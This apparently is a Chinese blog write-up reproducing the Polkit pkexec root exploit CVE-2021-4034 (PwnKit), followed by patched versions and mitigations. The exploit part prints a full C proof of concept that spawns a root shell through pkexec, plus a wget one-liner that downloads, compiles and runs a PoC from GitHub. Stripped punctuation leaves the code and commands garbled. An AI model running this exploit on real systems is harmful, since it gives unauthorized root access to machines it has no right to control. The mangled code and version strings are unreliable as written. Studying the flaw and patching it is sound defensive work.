Polkit本地权限提升漏洞（CVE4034）复现

　　本文主要复现2022年1月出现的Polkit的RCE漏洞1。漏洞影响范围
　　绝大多数版本linux都在本次影响范围中漏洞检测方法：centos：rpmqagreppolkitubuntu：dpkglpolicykit12。漏洞影响前提条件有文件的执行权限有gcc编译（最好，没有也可以相同版本下自行编译）3。漏洞复现3。1POCProofofConceptforPwnKit：LocalPrivilegeEscalationVulnerabilityDiscoveredinpolkit’spkexec（CVE20214034）byAndrisRaugulismooarthepsy。euAdvisory：https：blog。qualys。comvulnerabilitiesthreatresearch20220125pwnkitlocalprivilegeescalationvulnerabilitydiscoveredinpolkitspkexeccve20214034includestdio。hincludestdlib。hincludeunistd。hcharshellincludestdio。hincludestdlib。hincludeunistd。hvoidgconv（）｛｝voidgconvinit（）｛setuid（0）；setgid（0）；seteuid（0）；setegid（0）；system（exportPATHusrlocalsbin：usrlocalbin：usrsbin：usrbin：sbin：bin；rmrfGCONVPATH。pwnkit；binsh）；exit（0）；｝；intmain（intargc，charargv〔〕）｛FILEfp；system（mkdirpGCONVPATH。；touchGCONVPATH。pwnkit；chmodaxGCONVPATH。pwnkit）；system（mkdirppwnkit；echomoduleUTF8PWNKITpwnkit2pwnkitgconvmodules）；fpfopen（pwnkitpwnkit。c，w）；fprintf（fp，s，shell）；fclose（fp）；system（gccpwnkitpwnkit。copwnkitpwnkit。sosharedfPIC）；charenv〔〕｛pwnkit，PATHGCONVPATH。，CHARSETPWNKIT，SHELLpwnkit，NULL｝；execve（usrbinpkexec，（char〔〕）｛NULL｝，env）；
　　使用方法：gcc编译执行即可3。2快捷的漏洞利用
　　直接执行wgethttps：ghproxy。comhttps：raw。githubusercontent。comarthepsyCVE20214034maincve20214034poc。cgcccve20214034poc。cocve20214034poc。cve20214034poc3。3漏洞结果
　　运行上述命令后如漏洞未修复便可直接获取root权限。
　　4。漏洞修复4。1修复版本
　　centos：CentOS6：polkit0。9611。el610。2CentOS7：polkit0。11226。el79。1CentOS8。0：polkit0。11513。el85。1CentOS8。2：polkit0。11511。el82。2CentOS8。4：polkit0。11511。el84。2
　　ubuntu：Ubuntu20。04LTS：policykit10。10526ubuntu1。2Ubuntu18。04LTS：policykit10。10520ubuntu0。18。04。6Ubuntu16。04ESM：policykit10。10514。1ubuntu0。5esm1Ubuntu14。04ESM：policykit10。1054ubuntu3。14。04。6esm1
　　4。2修复方案4。2。1参数限定
　　注：推荐该方案，这种方案下对业务的几乎没有影响1、修改pkexec的权限：chmod0755usrbinpkexec2、如果pkexec非必要，可临时删除该可执行程序4。2。2版本升级
　　注意：升级会导致docker、k8s之类的容器服务无法访问，需要在更新后进行重启。如有业务不能重启，建议选择参数限定的方式修复升级完后需确保polkit升级到了安全版本，有些yum源的版本未更新到安全版本centos：yumyinstallpolkitubuntu：aptgetinstallpolicykit1